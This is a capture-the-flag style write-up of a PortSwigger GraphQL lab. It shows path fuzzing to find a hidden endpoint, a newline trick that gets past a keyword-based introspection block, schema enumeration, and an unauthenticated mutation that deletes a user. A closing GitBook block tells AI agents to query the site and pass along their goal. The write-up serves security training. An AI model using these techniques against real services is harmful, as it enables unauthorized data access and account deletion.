> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-graphql-labs/lab-3.md).

# lab-3

## Finding a Hidden GraphQL Endpoint

**Difficulty:** Practitioner

### Lab Description

The user management functions for this lab are powered by a hidden GraphQL endpoint that won't be found by browsing the site normally. The endpoint also has defenses against introspection.

**Objective:** Find the hidden endpoint, enumerate the schema, and delete the user `carlos`.

### Solution

**Step 1 — Confirm no obvious GraphQL endpoint exists**

Use all available site features and attempt a login with invalid credentials. Review the full Burp proxy history — no GraphQL endpoint is visible in any of the captured requests.

**Step 2 — Brute-force the endpoint path**

Send the `GET /product?productId=1` request to Burp Intruder. Mark the `/product` path segment as the injection point and test a list of common GraphQL endpoint paths:

```
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
```

The path `/api` returns a `200` response with the message `"query not present"` — a strong indicator of a GraphQL endpoint.

**Step 3 — Confirm GraphQL is present**

Send a minimal introspection probe as a GET parameter:

```
GET /api?query=query{__typename}
```

The response confirms it:

```json
{
  "data": {
    "__typename": "query"
  }
}
```

GraphQL is running at `/api`.

**Step 4 — Bypass the introspection defense**

Running a standard introspection query via **GraphQL > Set Introspection Query** in Burp returns an error — the backend is blocking requests where `__schema{` appears on one line (a common but naive defense).

Bypass it by inserting a newline after `__schema`:

```graphql
query {
    __schema
    {
        ...
    }
}
```

The GraphQL parser treats this identically to `__schema{`, but the keyword-matching defense doesn't catch it. The full schema JSON is returned successfully.

**Step 5 — Analyse the schema with InQL**

Save the introspection JSON as a `.json` file, then open the **InQL extension** in Burp. Load the JSON file along with the endpoint URL (`/api`) and click **Analyse**. InQL automatically parses the schema and generates ready-to-use query and mutation templates.

Two relevant operations are identified:

**`getUser` query** — retrieves a user by ID:

```graphql
query getUser {
    getUser(id: Int!) {
        id
        username
    }
}
```

**`deleteOrganizationUser` mutation** — deletes a user by ID:

```graphql
mutation deleteOrganizationUser {
    deleteOrganizationUser(input: DeleteOrganizationUserInput) {
        user {
            id
            username
        }
    }
}
```

**Step 6 — Identify carlos's user ID**

Use the `getUser` query to look up users by ID until `carlos` is found. For example, with `{"id": 3}` returning `carlos`, note the ID.

**Step 7 — Delete carlos**

Construct and send the delete mutation with carlos's ID:

```graphql
mutation DestroyUser($input: DeleteOrganizationUserInput!) {
    deleteOrganizationUser(input: $input) {
        user {
            id
            username
        }
    }
}
```

With the variable:

```json
{
  "input": {
    "id": 3
  }
}
```

The response confirms `carlos` has been deleted, completing the lab.

### Conclusion

Hiding a GraphQL endpoint by moving it off the standard path provides minimal security — common paths can be quickly enumerated. The newline-based introspection defense was equally trivial to bypass. Once the schema was exposed, the full API surface was accessible with no further authentication or access controls in place.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-graphql-labs/lab-3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
